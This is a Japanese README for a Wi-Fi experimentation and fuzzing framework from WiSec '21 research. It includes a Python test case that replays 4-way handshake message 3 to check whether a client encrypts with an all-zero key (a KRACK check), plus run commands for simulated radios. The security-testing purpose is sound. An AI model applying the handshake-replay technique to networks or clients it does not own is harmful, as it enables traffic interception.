Wi-Fi フレームワーク

Wi-Fi 実験をより容易に行うためのフレームワークを紹介します。ファジングツールの作成、新しい攻撃の実装、脆弱性をテストするための概念実証の作成、実験の自動化、テストスイートの実装などに使用できます。

このフレームワークの主な利点は、Linux の Wi-Fi 機能を再利用して、攻撃やテストをより簡単に実装できることです。例えば、フレームワークは (保護された) Wi-Fi ネットワークに接続し、クライアントをテストする際にビーコンをブロードキャストできます。一般に、Linux の任意の Wi-Fi 機能を再利用して、攻撃やテストをより迅速に実装できます。フレームワークは、hostap ユーザースペースデーモン上で テストケース を実行することでこれを実現します。

Wi-Fi デーモンとフレームワークコンポーネントの概要。

Linux での Wi-Fi 実験の実施に慣れていない場合は、最初に libwifi Linux チュートリアルを読むことを強くお勧めします。 Linux の機能を再利用する必要のない基本的な Wi-Fi 攻撃を実装する場合、フレームワークの利点は限定的であり、代わりに Scapy で直接攻撃を実装し、必要に応じて libwifi ライブラリを使用することを検討できます。

使用方法

フレームワークを使用するには:

./setup.sh を実行してインストールします。このスクリプトの内容については setup を参照してください。
使用方法チュートリアルをお読みください。

例

クライアントが全ゼロキーを使用してフレームを暗号化するかどうかをテストしたいとします。これは鍵再インストール攻撃中に発生する可能性があります。フレームワークを使用すると、アクセスポイントのすべての機能を再実装する必要はなく、以下のテストケースを作成するだけで済みます。

class ExampleKrackZerokey(Test):
	name = "example-krack-zero-key"
	kind = Test.Authenticator

	def __init__(self):
		super().__init__([
			# Replay 4-Way Handshake Message 3/4.
			Action( trigger=Trigger.Connected, action=Action.Function ),
			# Receive all frames and search for one encrypted with an all-zero key.
			Action( trigger=Trigger.NoTrigger, action=Action.Receive ),
			# When we receive such a frame, we can terminate the test.
			Action( trigger=Trigger.Received, action=Action.Terminate )
		])


	def resend(self, station):
		# Resend 4-Way Handshake Message 3/4.
		station.wpaspy_command("RESEND_M3 " + station.clientmac )


	def receive(self, station, frame):
		if frame[Dot11].addr2 != station.clientmac or not frame.haslayer(Dot11CCMP):
			return False

		# Check if CCMP-encrypted frame can be decrypted using an all-zero key
		plaintext = decrypt_ccmp(frame.getlayer(Dot11), tk=b"\x00"*16)
		if plaintext is None: return False

		# We received a valid plaintext frame!
		log(STATUS,'Client encrypted a frame with an all-zero key!', color="green")
		return True

上記のテストケースは、クライアントが接続できるアクセスポイントを作成します。クライアントが接続した後、4ウェイハンドシェイクの新しい3番目のメッセージがクライアントに送信されます。脆弱なクライアントはその後、全ゼロの暗号化キーを使い始め、テストケースが自動的にそれを検出します。

以下のようにシミュレートされた Wi-Fi 無線を使用して上記のテストケースを実行できます:

./setup/setup-hwsim.sh 4
source setup/venv/bin/activate
./run.py wlan1 example-krack-zero-key

作成されたアクセスポイントに接続してテストできます (ネットワーク testnetwork、パスワード passphrase):

./hostap.py wlan2

ネットワーク設定を変更することで、この AP は WPA2 または WPA3 を使用するように、および/またはエンタープライズ認証を使用するように簡単に設定でき、作成したテストケースに一切の変更を加える必要はありません！この例でフレームワークを使用する追加の利点は次のとおりです:

手動でビーコンをブロードキャストする必要がない
認証とアソシエーションの段階はフレームワークによって処理される
WPA2 および/または WPA3 のハンドシェイクはフレームワークによって処理される
注入されたパケットは Linux カーネルによって自動的に再送信される
AP に送信されたパケットは確認応答される
クライアントのスリープモードはカーネルによって自動的に処理される
...

詳細な例については、すべての例の詳細な説明を参照してください。

出版物

この研究は、ACM Conference on Security and Privacy in Wireless and Mobile Networks (WiSec '21) で発表されました:

デモ: Wi-Fi デバイスをテストおよびファジングするためのフレームワーク (pdf)

このフレームワークまたは類似のものを使用した研究:

Wi-Fi システムの接続確立フェーズにおける脆弱性の体系的分析
FragAttacks: 断片化および集約攻撃
Wi-Fi 非認証対策のロバスト性について (pdf)
WPA3 攻撃: 新しい脆弱性とエクスプロイトフレームワーク (HITBSecConf). テストケースについては WPA3.md を参照してください。
フレーミングフレーム: 送信キュー操作による Wi-Fi 暗号化の回避 (pdf)

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